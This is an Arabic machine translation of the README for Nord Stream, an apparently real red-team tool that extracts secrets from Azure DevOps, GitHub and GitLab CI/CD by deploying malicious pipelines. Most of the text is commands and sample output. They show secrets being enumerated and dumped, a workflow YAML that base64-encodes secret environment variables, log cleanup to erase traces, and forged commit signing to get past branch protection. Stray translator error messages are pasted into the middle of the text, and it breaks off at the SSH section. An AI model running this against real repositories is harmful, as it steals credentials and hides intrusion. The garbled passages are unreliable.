
Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب ضارة. تدعم حالياً Azure DevOps وGitHub وGitLab.
Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب خبيثة.
تدعم حاليًا Azure DevOps وGitHub وGitLab.
اعرف المزيد في مقال المدونة التالي: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` مطلوب أيضًا (انظر https://git-scm.com/download/) ويجب أن يكون موجودًا في `PATH` الخاصة بك.
## الاستخدام
إليك مثال بسيط على GitHub؛ في البداية، يمكن للمرء تعداد الأسرار المختلفة.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
ثم تابع إلى عملية استخراج البيانات:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### الوسائط المشتركة
بعض الوسائط مشتركة بين [GitHub](#github) و[Azure DevOps](#azure-devops) و[GitLab](#gitlab)، وهذه بعض الأمثلة.
#### وصف التوكن
يمكن استخدام الخيار `--describe-token` لعرض معلومات عامة حول التوكن الخاص بك:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
يمكن استخدام الخيار --build-yaml لإنشاء ملف خط أنابيب دون نشره. يسترجع أسماء الأسرار المختلفة لبناء خط الأنابيب المرتبط، والذي يمكن استخدامه لإضافة خطوات مخصصة:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
يمكن استخدام خيار `--yaml` لنشر خط أنابيب مخصص:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
No input text was provided. Please paste the Markdown chunk to translate.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
افتراضيًا، سيعرض مخرجات المهمة المسماة `command` من وظيفة `init`، ولكن يتم تخزين كل شيء محليًا ويمكن الوصول إليه يدويًا:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
افتراضيًا، سيحاول Nord Stream إزالة الآثار المتبقية بعد نشر خط أنابيب، اعتمادًا على صلاحياتك. للحفاظ على الآثار، يمكن استخدام خيار --no-clean. سيؤدي هذا إلى الاحتفاظ بسجلات خط الأنابيب، لكنه سيظل يعيد التغييرات التي أُجريت على المستودع.
لاحظ أنه بالنسبة إلى GitLab، لا يمكن حذف بعض الآثار.
يمكن لمشرفي المستودعات فرض توقيع الالتزامات المطلوب على فرع ما لحظر جميع الالتزامات غير الموقعة وغير الموثقة. مع Nord Stream، من الممكن توقيع الالتزامات لتجاوز هذه الحماية.
أولاً، أنشئ واستورد مفتاح GPG الخاص بك على منصة SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
Please provide the Markdown content to translate.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
يبدو أن محتوى الإدخال (INPUT) فارغ أو غير مرفق في هذه الرسالة. لا يوجد نص متاح لترجمته. يرجى إرسال نص القسم (Chunk 21) المطلوب ترجمته.```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
يمكن لـ Nord Stream استخراج الأنواع التالية من الأسرار:
- مجموعات المتغيرات (vg)
- الملفات الآمنة (sf)
- اتصالات الخدمة
#### اتصالات الخدمة
يتيح Azure DevOps إمكانية إنشاء اتصالات مع الخدمات الخارجية والبعيدة لتنفيذ المهام في وظيفة. وللقيام بذلك، يتم استخدام اتصالات الخدمة. يحتفظ اتصال الخدمة ببيانات اعتماد لهوية ما إلى خدمة بعيدة. هناك أنواع متعددة من اتصالات الخدمة في Azure DevOps.
يدعم Nord Stream حاليًا استخراج الأسرار للأنواع التالية من اتصالات الخدمة:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
إذا صادفت نوعًا غير مدعوم، يرجى فتح issue أو إرسال pull request :)
##### SSH